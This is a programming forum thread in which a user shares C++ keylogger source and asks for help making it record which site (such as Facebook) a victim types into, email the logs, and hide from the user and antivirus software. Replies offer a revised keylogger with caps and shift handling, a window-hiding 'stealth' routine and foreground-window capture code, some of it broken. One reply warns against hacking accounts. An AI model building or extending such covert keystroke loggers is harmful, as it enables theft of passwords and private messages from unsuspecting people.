Keylogger in C++

Hello, I created a keylogger in C ++, and it is no problem, now needs only 4 things:

- That the keys are pressed there was only CAPS: /
- When someone enters eg. On Facebook where you have written it came
- To transmit an e-mail and that the log was written one below the other and not in a continuous line.
- That it was not visible in the system and not detectable by antivirus.

Sorry for my english :D
please post your code.
Why?, needs only these 4 things, but please:

#include <iostream>
#include <fstream>
using namespace std;

#include <windows.h>
#include <Winuser.h>


int save (int key_stroke, char *file){
if((key_stroke == 1) || (key_stroke == 2)) return 0; //ignore mouse 1 and 2.

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");

if(key_stroke == 8) fprintf(OUTPUT_FILE, "%s", "[BACKSPACE] ");
else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", "[ALT] ");
else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", "[WINDOWS] ");
else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", "[CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", "[SHIFT] ");
else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK] ");
else if(key_stroke == 9) fprintf(OUTPUT_FILE, "%s", "[TAB] ");
else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", "[HOME] ");
else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", "[END] ");
else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", "[DELETE] ");
else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", "[PAGE UP] ");
else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", "[INSERT] ");
else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", "[PAGE DOWN] ");

else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;

return 0;
}

void stealth (){ //hides the window
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

int main(){
stealth();
char i;
while(1){
for (i = 8; i<=190; i++){ //only these ascii values
if (GetAsyncKeyState(i) == -32767)
save(i, "LOG.TXT");
}
}
system("PAUSE");
return 0;}
I just use this to get a base of what could interfere with the variables i use.
you know, most of this is actually writen in C, right?
Last edited on
I have the caps lock checker in place and added a shift checker.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
#include <iostream>
#include <fstream>
#include <windows.h>
#include <Winuser.h>
using namespace std;
bool CheckCapsState(){
   if ((GetKeyState(VK_CAPITAL) & 0x0001)!=0) return true;
   else return false;
}

int save (int key_stroke, char *file){
if((key_stroke == 1) || (key_stroke == 2) || (key_stroke == 3) || (key_stroke == 4)) return 0; ///ignore mouse 1 and 2. *You forgot the buttons 3 and 4*

FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if(CheckCapsState()==true){
     if(key_stroke == 8 ) fprintf(OUTPUT_FILE, "%s", " [BACKSPACE] ");
else if(key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " ");
else if(key_stroke == 18) fprintf(OUTPUT_FILE, "%s", " [ALT] ");
else if(key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [WINDOWS] ");
else if(key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [CAPS LOCK] ");
else if(key_stroke == 9 ) fprintf(OUTPUT_FILE, "%s", " [TAB] ");
else if(key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [HOME] ");
else if(key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [END] ");
else if(key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [DELETE] ");
else if(key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [PAGE UP] ");
else if(key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [INSERT] ");
else if(key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [PAGE DOWN] ");
else if(key_stroke == 38) fprintf(OUTPUT_FILE, "%s", " [UP ARROW] ");
else if(key_stroke == 40) fprintf(OUTPUT_FILE, "%s", " [DOWN ARROW] ");
else if(key_stroke == 37) fprintf(OUTPUT_FILE, "%s", " [LEFT ARROW] ");
else if(key_stroke == 39) fprintf(OUTPUT_FILE, "%s", " [RIGHT ARROW] ");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;
}else{
     if(key_stroke == 16 || key_stroke == 8 ) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [BACKSPACE] ");
else if(key_stroke == 16 || key_stroke == 32) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 16 || key_stroke == 18) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [ALT] ");
else if(key_stroke == 16 || key_stroke == 91) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [WINDOWS] ");
else if(key_stroke == 16 || key_stroke == 17) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [CONTROL] ");
else if(key_stroke == 16) fprintf(OUTPUT_FILE, "%s", " [SHIFT] ");
else if(key_stroke == 16 || key_stroke == 20) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [CAPS LOCK] ");
else if(key_stroke == 16 || key_stroke == 9 ) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [TAB] ");
else if(key_stroke == 16 || key_stroke == 13) fprintf(OUTPUT_FILE, "%s", "\n");
else if(key_stroke == 16 || key_stroke == 36) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [HOME] ");
else if(key_stroke == 16 || key_stroke == 35) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [END] ");
else if(key_stroke == 16 || key_stroke == 46) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [DELETE] ");
else if(key_stroke == 16 || key_stroke == 33) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [PAGE UP] ");
else if(key_stroke == 16 || key_stroke == 45) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [INSERT] ");
else if(key_stroke == 16 || key_stroke == 34) fprintf(OUTPUT_FILE, "%s", " [SHIFT] [PAGE DOWN] ");
else if(key_stroke == 16 || key_stroke == 38) fprintf(OUTPUT_FILE, "%s", " [UP ARROW] ");
else if(key_stroke == 16 || key_stroke == 40) fprintf(OUTPUT_FILE, "%s", " [DOWN ARROW] ");
else if(key_stroke == 16 || key_stroke == 37) fprintf(OUTPUT_FILE, "%s", " [LEFT ARROW] ");
else if(key_stroke == 16 || key_stroke == 39) fprintf(OUTPUT_FILE, "%s", " [RIGHT ARROW] ");
else fprintf(OUTPUT_FILE, "%s", &key_stroke);

fclose(OUTPUT_FILE);
cout << key_stroke << endl;
}
return 0;
}

void stealth (){ ///hides the window
HWND stealth;
AllocConsole();
stealth = FindWindowA("consoleWindowClass", NULL);
ShowWindow(stealth, 0);
}

int main(){
///stealth();
char i;
while(1){
for (i = 8; i<=190; i++){ ///only these ascii values
if (GetAsyncKeyState(i) == -32767)
save(i, "LOG.TXT");
}
}
system("PAUSE");
return 0;}
Last edited on
that is all the help that i can offer, i don't know any way of doing what you want for 2,3, and 4. sorry i couldn't help more.
The emailing aspect will definitely require a library with networking support so you could check it out.

Aceix.
HELP :( ERROR:


cout << key_stronke << end1;

[Error] 'end' was not declared in this scope

and error

#include <iostream>

In function 'int main()':
In function 'int save(int, char*):

HELP :(


@Edit

I swapped 'end1' on 1 and working (I think so... :D)

new error:

#include and

save(i,"LOG.TXT");

[Warning] deprecated conversion from string constant to 'char*' [-Wwrite-strings]

:/


And how to add this piece of code to the entire code? if you have something to add to it?

HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);

/|\
/ | \
|

This is code on "- When someone enters eg. On Facebook where you have written it came"
Last edited on
Hi, I'm not sure what you mean by end1

I suppose you mean the std::endl which creates a new line in your console application. You can compare it to "\n", but they aren't 100% the same.

You probably want cout << key_stroke << endl; since you are using Namespace...
cout << key_stroke << end1; not working

so i swapped cout << key_stroke << end1; on cout << key_stroke << 1; and 0 error but I do not know if you know works.

And where paste this code to check the website where someone entered?

1
2
3
4
HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);
You maybe wont get any errors using 1, but you it wont do as shown in the youtube tutorial you are using... Its not std::end1 (1 is ONE a number) but std::endl (l is a letter (small L) and endl means endline). The only difference is that your console wont end the line after each keystroke.

So the ouput console will currently look like this:
2518552818835417

And with std::endl(ine) it woulf look like this:
25
18
55
28
18
83
54
17

If you probably want to create an ASCII-Map std::endl(ine) will help you :)

If i remember correctly the tutorial was to arouse caution inside you and not to hack te accs from other people. If you are trying to seriously learn c++ you should be able to unferstand this code in a few weeks. If its for learning c++ ignore the last paragraph...
I wrote two types of hiding the program in the background, just do not know how well so it gives to check:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <windows.h>

int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow ){
gcc program.c -mwindows -o program
void Stealth()
{
	HWND stealth;
	AllocConsole();
	stealth = FindWindowA("ConsoleWindowClass", NULL);
	ShowWindow(stealth,0);
}
}


1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <windows.h>

void findAndHide( void ) {
	
HWND window;
window = FindWindow( "notepad", NULL );
}

int main(void){
findAndHide();
system( "pause");
}


and how to use this code to check the website :

1
2
3
4
HWND hWindow = GetForegroundWindow();
int textLength = GetWindowTextLengthA(hWnd) + 1;
char text[textLength];
GetWindowTextA(hWnd, text, textLength);
your code:
1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <windows.h>

void findAndHide( void ) {
	
HWND window;
window = FindWindow( "notepad", NULL );
}

int main(void){
findAndHide();
system( "pause");
}

does not work for me.
what you will want to do is search for he files specific name, then hide it if it's open.
Last edited on
Topic archived. No new replies allowed.